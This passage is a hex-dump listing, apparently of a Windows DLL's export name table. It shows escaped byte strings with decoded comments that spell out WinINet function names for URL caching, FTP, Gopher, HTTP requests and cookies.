\"\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x74\\x61\\x69\\x6E\"   //tUrlCacheContain\n/* 3D931640 */   \"\\x65\\x72\\x57\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x55\\x72\\x6C\"   //erW.FindFirstUrl\n/* 3D931660 */   \"\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x41\\x00\\x46\\x69\\x6E\\x64\"   //CacheEntryA.Find\n/* 3D931680 */   \"\\x46\\x69\\x72\\x73\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\"   //FirstUrlCacheEnt\n/* 3D9316A0 */   \"\\x72\\x79\\x45\\x78\\x41\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x55\"   //ryExA.FindFirstU\n/* 3D9316C0 */   \"\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x45\\x78\\x57\\x00\"   //rlCacheEntryExW.\n/* 3D9316E0 */   \"\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\"   //FindFirstUrlCach\n/* 3D931700 */   \"\\x65\\x45\\x6E\\x74\\x72\\x79\\x57\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\"   //eEntryW.FindFirs\n/* 3D931720 */   \"\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x47\\x72\\x6F\\x75\\x70\\x00\\x46\"   //tUrlCacheGroup.F\n/* 3D931740 */   \"\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\"   //indNextUrlCacheC\n/* 3D931760 */   \"\\x6F\\x6E\\x74\\x61\\x69\\x6E\\x65\\x72\\x41\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\"   //ontainerA.FindNe\n/* 3D931780 */   \"\\x78\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x74\\x61\\x69\"   //xtUrlCacheContai\n/* 3D9317A0 */   \"\\x6E\\x65\\x72\\x57\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\"   //nerW.FindNextUrl\n/* 3D9317C0 */   \"\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x41\\x00\\x46\\x69\\x6E\\x64\"   //CacheEntryA.Find\n/* 3D9317E0 */   \"\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\"   //NextUrlCacheEntr\n/* 3D931800 */   \"\\x79\\x45\\x78\\x41\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\"   //yExA.FindNextUrl\n/* 3D931820 */   \"\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x45\\x78\\x57\\x00\\x46\\x69\"   //CacheEntryExW.Fi\n/* 3D931840 */   \"\\x6E\\x64\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\"   //ndNextUrlCacheEn\n/* 3D931860 */   \"\\x74\\x72\\x79\\x57\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x55\\x72\\x6C\"   //tryW.FindNextUrl\n/* 3D931880 */   \"\\x43\\x61\\x63\\x68\\x65\\x47\\x72\\x6F\\x75\\x70\\x00\\x46\\x6F\\x72\\x63\\x65\"   //CacheGroup.Force\n/* 3D9318A0 */   \"\\x4E\\x65\\x78\\x75\\x73\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x00\\x46\\x6F\\x72\\x63\"   //NexusLookup.Forc\n/* 3D9318C0 */   \"\\x65\\x4E\\x65\\x78\\x75\\x73\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x45\\x78\\x57\\x00\"   //eNexusLookupExW.\n/* 3D9318E0 */   \"\\x46\\x72\\x65\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x53\\x70\\x61\\x63\"   //FreeUrlCacheSpac\n/* 3D931900 */   \"\\x65\\x41\\x00\\x46\\x72\\x65\\x65\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x53\"   //eA.FreeUrlCacheS\n/* 3D931920 */   \"\\x70\\x61\\x63\\x65\\x57\\x00\\x46\\x74\\x70\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\"   //paceW.FtpCommand\n/* 3D931940 */   \"\\x41\\x00\\x46\\x74\\x70\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x57\\x00\\x46\\x74\"   //A.FtpCommandW.Ft\n/* 3D931960 */   \"\\x70\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\"   //pCreateDirectory\n/* 3D931980 */   \"\\x41\\x00\\x46\\x74\\x70\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\"   //A.FtpCreateDirec\n/* 3D9319A0 */   \"\\x74\\x6F\\x72\\x79\\x57\\x00\\x46\\x74\\x70\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\"   //toryW.FtpDeleteF\n/* 3D9319C0 */   \"\\x69\\x6C\\x65\\x41\\x00\\x46\\x74\\x70\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\"   //ileA.FtpDeleteFi\n/* 3D9319E0 */   \"\\x6C\\x65\\x57\\x00\\x46\\x74\\x70\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\"   //leW.FtpFindFirst\n/* 3D931A00 */   \"\\x46\\x69\\x6C\\x65\\x41\\x00\\x46\\x74\\x70\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\"   //FileA.FtpFindFir\n/* 3D931A20 */   \"\\x73\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x74\\x70\\x47\\x65\\x74\\x43\\x75\"   //stFileW.FtpGetCu\n/* 3D931A40 */   \"\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\"   //rrentDirectoryA.\n/* 3D931A60 */   \"\\x46\\x74\\x70\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\"   //FtpGetCurrentDir\n/* 3D931A80 */   \"\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x46\\x74\\x70\\x47\\x65\\x74\\x46\\x69\"   //ectoryW.FtpGetFi\n/* 3D931AA0 */   \"\\x6C\\x65\\x41\\x00\\x46\\x74\\x70\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x45\\x78\"   //leA.FtpGetFileEx\n/* 3D931AC0 */   \"\\x00\\x46\\x74\\x70\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x69\\x7A\\x65\\x00\"   //.FtpGetFileSize.\n/* 3D931AE0 */   \"\\x46\\x74\\x70\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x74\\x70\\x4F\"   //FtpGetFileW.FtpO\n/* 3D931B00 */   \"\\x70\\x65\\x6E\\x46\\x69\\x6C\\x65\\x41\\x00\\x46\\x74\\x70\\x4F\\x70\\x65\\x6E\"   //penFileA.FtpOpen\n/* 3D931B20 */   \"\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x74\\x70\\x50\\x75\\x74\\x46\\x69\\x6C\\x65\"   //FileW.FtpPutFile\n/* 3D931B40 */   \"\\x41\\x00\\x46\\x74\\x70\\x50\\x75\\x74\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x46\"   //A.FtpPutFileEx.F\n/* 3D931B60 */   \"\\x74\\x70\\x50\\x75\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x74\\x70\\x52\\x65\"   //tpPutFileW.FtpRe\n/* 3D931B80 */   \"\\x6D\\x6F\\x76\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x46\"   //moveDirectoryA.F\n/* 3D931BA0 */   \"\\x74\\x70\\x52\\x65\\x6D\\x6F\\x76\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\"   //tpRemoveDirector\n/* 3D931BC0 */   \"\\x79\\x57\\x00\\x46\\x74\\x70\\x52\\x65\\x6E\\x61\\x6D\\x65\\x46\\x69\\x6C\\x65\"   //yW.FtpRenameFile\n/* 3D931BE0 */   \"\\x41\\x00\\x46\\x74\\x70\\x52\\x65\\x6E\\x61\\x6D\\x65\\x46\\x69\\x6C\\x65\\x57\"   //A.FtpRenameFileW\n/* 3D931C00 */   \"\\x00\\x46\\x74\\x70\\x53\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\"   //.FtpSetCurrentDi\n/* 3D931C20 */   \"\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x46\\x74\\x70\\x53\\x65\\x74\\x43\"   //rectoryA.FtpSetC\n/* 3D931C40 */   \"\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\"   //urrentDirectoryW\n/* 3D931C60 */   \"\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x43\\x6F\\x6E\\x66\"   //.GetUrlCacheConf\n/* 3D931C80 */   \"\\x69\\x67\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\"   //igInfoA.GetUrlCa\n/* 3D931CA0 */   \"\\x63\\x68\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\"   //cheConfigInfoW.G\n/* 3D931CC0 */   \"\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x49\"   //etUrlCacheEntryI\n/* 3D931CE0 */   \"\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\"   //nfoA.GetUrlCache\n/* 3D931D00 */   \"\\x45\\x6E\\x74\\x72\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x47\\x65\\x74\"   //EntryInfoExA.Get\n/* 3D931D20 */   \"\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x45\\x6E\\x74\\x72\\x79\\x49\\x6E\\x66\"   //UrlCacheEntryInf\n/* 3D931D40 */   \"\\x6F\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\"   //oExW.GetUrlCache\n/* 3D931D60 */   \"\\x45\\x6E\\x74\\x72\\x79\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x55\\x72\"   //EntryInfoW.GetUr\n/* 3D931D80 */   \"\\x6C\\x43\\x61\\x63\\x68\\x65\\x47\\x72\\x6F\\x75\\x70\\x41\\x74\\x74\\x72\\x69\"   //lCacheGroupAttri\n/* 3D931DA0 */   \"\\x62\\x75\\x74\\x65\\x41\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\"   //buteA.GetUrlCach\n/* 3D931DC0 */   \"\\x65\\x47\\x72\\x6F\\x75\\x70\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x57\"   //eGroupAttributeW\n/* 3D931DE0 */   \"\\x00\\x47\\x65\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x48\\x65\\x61\\x64\"   //.GetUrlCacheHead\n/* 3D931E00 */   \"\\x65\\x72\\x44\\x61\\x74\\x61\\x00\\x47\\x6F\\x70\\x68\\x65\\x72\\x43\\x72\\x65\"   //erData.GopherCre\n/* 3D931E20 */   \"\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x74\\x6F\\x72\\x41\\x00\\x47\\x6F\\x70\\x68\"   //ateLocatorA.Goph\n/* 3D931E40 */   \"\\x65\\x72\\x43\\x72\\x65\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x74\\x6F\\x72\\x57\"   //erCreateLocatorW\n/* 3D931E60 */   \"\\x00\\x47\\x6F\\x70\\x68\\x65\\x72\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\"   //.GopherFindFirst\n/* 3D931E80 */   \"\\x46\\x69\\x6C\\x65\\x41\\x00\\x47\\x6F\\x70\\x68\\x65\\x72\\x46\\x69\\x6E\\x64\"   //FileA.GopherFind\n/* 3D931EA0 */   \"\\x46\\x69\\x72\\x73\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x47\\x6F\\x70\\x68\\x65\"   //FirstFileW.Gophe\n/* 3D931EC0 */   \"\\x72\\x47\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x41\\x00\\x47\"   //rGetAttributeA.G\n/* 3D931EE0 */   \"\\x6F\\x70\\x68\\x65\\x72\\x47\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\"   //opherGetAttribut\n/* 3D931F00 */   \"\\x65\\x57\\x00\\x47\\x6F\\x70\\x68\\x65\\x72\\x47\\x65\\x74\\x4C\\x6F\\x63\\x61\"   //eW.GopherGetLoca\n/* 3D931F20 */   \"\\x74\\x6F\\x72\\x54\\x79\\x70\\x65\\x41\\x00\\x47\\x6F\\x70\\x68\\x65\\x72\\x47\"   //torTypeA.GopherG\n/* 3D931F40 */   \"\\x65\\x74\\x4C\\x6F\\x63\\x61\\x74\\x6F\\x72\\x54\\x79\\x70\\x65\\x57\\x00\\x47\"   //etLocatorTypeW.G\n/* 3D931F60 */   \"\\x6F\\x70\\x68\\x65\\x72\\x4F\\x70\\x65\\x6E\\x46\\x69\\x6C\\x65\\x41\\x00\\x47\"   //opherOpenFileA.G\n/* 3D931F80 */   \"\\x6F\\x70\\x68\\x65\\x72\\x4F\\x70\\x65\\x6E\\x46\\x69\\x6C\\x65\\x57\\x00\\x48\"   //opherOpenFileW.H\n/* 3D931FA0 */   \"\\x74\\x74\\x70\\x41\\x64\\x64\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x48\\x65\\x61\"   //ttpAddRequestHea\n/* 3D931FC0 */   \"\\x64\\x65\\x72\\x73\\x41\\x00\\x48\\x74\\x74\\x70\\x41\\x64\\x64\\x52\\x65\\x71\"   //dersA.HttpAddReq\n/* 3D931FE0 */   \"\\x75\\x65\\x73\\x74\\x48\\x65\\x61\\x64\\x65\\x72\\x73\\x57\\x00\\x48\\x74\\x74\"   //uestHeadersW.Htt\n/* 3D932000 */   \"\\x70\\x43\\x68\\x65\\x63\\x6B\\x44\\x61\\x76\\x43\\x6F\\x6D\\x70\\x6C\\x69\\x61\"   //pCheckDavComplia\n/* 3D932020 */   \"\\x6E\\x63\\x65\\x00\\x48\\x74\\x74\\x70\\x45\\x6E\\x64\\x52\\x65\\x71\\x75\\x65\"   //nce.HttpEndReque\n/* 3D932040 */   \"\\x73\\x74\\x41\\x00\\x48\\x74\\x74\\x70\\x45\\x6E\\x64\\x52\\x65\\x71\\x75\\x65\"   //stA.HttpEndReque\n/* 3D932060 */   \"\\x73\\x74\\x57\\x00\\x48\\x74\\x74\\x70\\x4F\\x70\\x65\\x6E\\x52\\x65\\x71\\x75\"   //stW.HttpOpenRequ\n/* 3D932080 */   \"\\x65\\x73\\x74\\x41\\x00\\x48\\x74\\x74\\x70\\x4F\\x70\\x65\\x6E\\x52\\x65\\x71\"   //estA.HttpOpenReq\n/* 3D9320A0 */   \"\\x75\\x65\\x73\\x74\\x57\\x00\\x48\\x74\\x74\\x70\\x51\\x75\\x65\\x72\\x79\\x49\"   //uestW.HttpQueryI\n/* 3D9320C0 */   \"\\x6E\\x66\\x6F\\x41\\x00\\x48\\x74\\x74\\x70\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\"   //nfoA.HttpQueryIn\n/* 3D9320E0 */   \"\\x66\\x6F\\x57\\x00\\x48\\x74\\x74\\x70\\x53\\x65\\x6E\\x64\\x52\\x65\\x71\\x75\"   //foW.HttpSendRequ\n/* 3D932100 */   \"\\x65\\x73\\x74\\x41\\x00\\x48\\x74\\x74\\x70\\x53\\x65\\x6E\\x64\\x52\\x65\\x71\"   //estA.HttpSendReq\n/* 3D932120 */   \"\\x75\\x65\\x73\\x74\\x45\\x78\\x41\\x00\\x48\\x74\\x74\\x70\\x53\\x65\\x6E\\x64\"   //uestExA.HttpSend\n/* 3D932140 */   \"\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x45\\x78\\x57\\x00\\x48\\x74\\x74\\x70\\x53\"   //RequestExW.HttpS\n/* 3D932160 */   \"\\x65\\x6E\\x64\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x57\\x00\\x49\\x6E\\x63\\x72\"   //endRequestW.Incr\n/* 3D932180 */   \"\\x65\\x6D\\x65\\x6E\\x74\\x55\\x72\\x6C\\x43\\x61\\x63\\x68\\x65\\x48\\x65\\x61\"   //ementUrlCacheHea\n/* 3D9321A0 */   \"\\x64\\x65\\x72\\x44\\x61\\x74\\x61\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\"   //derData.Internet\n/* 3D9321C0 */   \"\\x41\\x6C\\x67\\x49\\x64\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x49\"   //AlgIdToStringA.I\n/* 3D9321E0 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x41\\x6C\\x67\\x49\\x64\\x54\\x6F\\x53\\x74\"   //nternetAlgIdToSt\n/* 3D932200 */   \"\\x72\\x69\\x6E\\x67\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x41\\x74\"   //ringW.InternetAt\n/* 3D932220 */   \"\\x74\\x65\\x6D\\x70\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x49\\x6E\\x74\"   //temptConnect.Int\n/* 3D932240 */   \"\\x65\\x72\\x6E\\x65\\x74\\x41\\x75\\x74\\x6F\\x64\\x69\\x61\\x6C\\x00\\x49\\x6E\"   //ernetAutodial.In\n/* 3D932260 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x41\\x75\\x74\\x6F\\x64\\x69\\x61\\x6C\\x43\\x61\"   //ternetAutodialCa\n/* 3D932280 */   \"\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x41\"   //llback.InternetA\n/* 3D9322A0 */   \"\\x75\\x74\\x6F\\x64\\x69\\x61\\x6C\\x48\\x61\\x6E\\x67\\x75\\x70\\x00\\x49\\x6E\"   //utodialHangup.In\n/* 3D9322C0 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x61\\x6E\\x6F\\x6E\\x69\\x63\\x61\\x6C\\x69\"   //ternetCanonicali\n/* 3D9322E0 */   \"\\x7A\\x65\\x55\\x72\\x6C\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\"   //zeUrlA.InternetC\n/* 3D932300 */   \"\\x61\\x6E\\x6F\\x6E\\x69\\x63\\x61\\x6C\\x69\\x7A\\x65\\x55\\x72\\x6C\\x57\\x00\"   //anonicalizeUrlW.\n/* 3D932320 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x68\\x65\\x63\\x6B\\x43\\x6F\\x6E\"   //InternetCheckCon\n/* 3D932340 */   \"\\x6E\\x65\\x63\\x74\\x69\\x6F\\x6E\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //nectionA.Interne\n/* 3D932360 */   \"\\x74\\x43\\x68\\x65\\x63\\x6B\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x69\\x6F\\x6E\"   //tCheckConnection\n/* 3D932380 */   \"\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6C\\x65\\x61\\x72\\x41\"   //W.InternetClearA\n/* 3D9323A0 */   \"\\x6C\\x6C\\x50\\x65\\x72\\x53\\x69\\x74\\x65\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\"   //llPerSiteCookieD\n/* 3D9323C0 */   \"\\x65\\x63\\x69\\x73\\x69\\x6F\\x6E\\x73\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //ecisions.Interne\n/* 3D9323E0 */   \"\\x74\\x43\\x6C\\x6F\\x73\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x49\\x6E\\x74\"   //tCloseHandle.Int\n/* 3D932400 */   \"\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6D\\x62\\x69\\x6E\\x65\\x55\\x72\\x6C\\x41\"   //ernetCombineUrlA\n/* 3D932420 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6D\\x62\\x69\\x6E\\x65\"   //.InternetCombine\n/* 3D932440 */   \"\\x55\\x72\\x6C\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6E\"   //UrlW.InternetCon\n/* 3D932460 */   \"\\x66\\x69\\x72\\x6D\\x5A\\x6F\\x6E\\x65\\x43\\x72\\x6F\\x73\\x73\\x69\\x6E\\x67\"   //firmZoneCrossing\n/* 3D932480 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6E\\x66\\x69\\x72\\x6D\"   //.InternetConfirm\n/* 3D9324A0 */   \"\\x5A\\x6F\\x6E\\x65\\x43\\x72\\x6F\\x73\\x73\\x69\\x6E\\x67\\x41\\x00\\x49\\x6E\"   //ZoneCrossingA.In\n/* 3D9324C0 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6E\\x66\\x69\\x72\\x6D\\x5A\\x6F\\x6E\"   //ternetConfirmZon\n/* 3D9324E0 */   \"\\x65\\x43\\x72\\x6F\\x73\\x73\\x69\\x6E\\x67\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\"   //eCrossingW.Inter\n/* 3D932500 */   \"\\x6E\\x65\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x41\\x00\\x49\\x6E\\x74\\x65\"   //netConnectA.Inte\n/* 3D932520 */   \"\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x57\\x00\\x49\\x6E\\x74\"   //rnetConnectW.Int\n/* 3D932540 */   \"\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x61\\x63\\x6B\\x55\\x72\\x6C\\x41\\x00\\x49\"   //ernetCrackUrlA.I\n/* 3D932560 */   \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x61\\x63\\x6B\\x55\\x72\\x6C\\x57\"   //nternetCrackUrlW\n/* 3D932580 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x55\"   //.InternetCreateU\n/* 3D9325A0 */   \"\\x72\\x6C\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x65\\x61\"   //rlA.InternetCrea\n/* 3D9325C0 */   \"\\x74\\x65\\x55\\x72\\x6C\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x44\"   //teUrlW.InternetD\n/* 3D9325E0 */   \"\\x69\\x61\\x6C\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x44\\x69\\x61\\x6C\"   //ial.InternetDial\n/* 3D932600 */   \"\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x44\\x69\\x61\\x6C\\x57\\x00\"   //A.InternetDialW.\n/* 3D932620 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x45\\x6E\\x75\\x6D\\x50\\x65\\x72\\x53\"   //InternetEnumPerS\n/* 3D932640 */   \"\\x69\\x74\\x65\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\\x73\\x69\\x6F\"   //iteCookieDecisio\n/* 3D932660 */   \"\\x6E\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x45\\x6E\\x75\\x6D\\x50\"   //nA.InternetEnumP\n/* 3D932680 */   \"\\x65\\x72\\x53\\x69\\x74\\x65\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x44\\x65\\x63\\x69\"   //erSiteCookieDeci\n/* 3D9326A0 */   \"\\x73\\x69\\x6F\\x6E\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x45\\x72\"   //sionW.InternetEr\n/* 3D9326C0 */   \"\\x72\\x6F\\x72\\x44\\x6C\\x67\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x46\"   //rorDlg.InternetF\n/* 3D9326E0 */   \"\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x46\\x69\\x6C\\x65\\x41\\x00\\x49\\x6E\\x74\"   //indNextFileA.Int\n/* 3D932700 */   \"\\x65\\x72\\x6E\\x65\\x74\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x46\\x69\\x6C\"   //ernetFindNextFil\n/* 3D932720 */   \"\\x65\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x46\\x6F\\x72\\x74\\x65\"   //eW.InternetForte\n/* 3D932740 */   \"\\x7A\\x7A\\x61\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x00\\x49\\x6E\\x74\\x65\\x72\"   //zzaCommand.Inter\n/* 3D932760 */   \"\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x65\\x72\\x74\\x42\\x79\\x55\\x52\\x4C\\x00\"   //netGetCertByURL.\n/* 3D932780 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x65\\x72\\x74\\x42\"   //InternetGetCertB\n/* 3D9327A0 */   \"\\x79\\x55\\x52\\x4C\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\"   //yURLA.InternetGe\n/* 3D9327C0 */   \"\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64\\x53\\x74\\x61\\x74\\x65\\x00\"   //tConnectedState.\n/* 3D9327E0 */   \"\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x6F\\x6E\\x6E\\x65\"   //InternetGetConne\n/* 3D932800 */   \"\\x63\\x74\\x65\\x64\\x53\\x74\\x61\\x74\\x65\\x45\\x78\\x00\\x49\\x6E\\x74\\x65\"   //ctedStateEx.Inte\n/* 3D932820 */   \"\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64\"   //rnetGetConnected\n/* 3D932840 */   \"\\x53\\x74\\x61\\x74\\x65\\x45\\x78\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //StateExA.Interne\n/* 3D932860 */   \"\\x74\\x47\\x65\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64\\x53\\x74\\x61\"   //tGetConnectedSta\n/* 3D932880 */   \"\\x74\\x65\\x45\\x78\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\"   //teExW.InternetGe\n/* 3D9328A0 */   \"\\x74\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\"   //tCookieA.Interne\n/* 3D9328C0 */   \"\\x74\\x47\\x65\\x74\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x45\\x78\\x41\\x00\\x49\\x6E\"   //tGetCookieExA.In\n/* 3D9328E0 */   \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x6F\\x6F\\x6B\\x69\\x65\\x45\"   //ternetGetCookieE\n/* 3D932900 */   \"\\x78\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x43\\x6F\"   //xW.InternetGetCo\n/* 3D932920 */   \"\\x6F\\x6B\\x69\\x65\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\"   //okieW.InternetGe\n/* 3D932940 */   \"\\x74\\x4C\\x61\\x73\\x74\\x52\\x65\\x73\\x70\\x6F\\x6E\\x73\\x65\\x49\\x6E\\x66\"   //tLastResponseInf\n/* 3D932960 */   \"\\x6F\\x41\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x4C\\x61\"   //oA.InternetGetLa\n/* 3D932980 */   \"\\x73\\x74\\x52\\x65\\x73\\x70\\x6F\\x6E\\x73\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\"   //stResponseInfoW.\n/* 3D9329A0 */   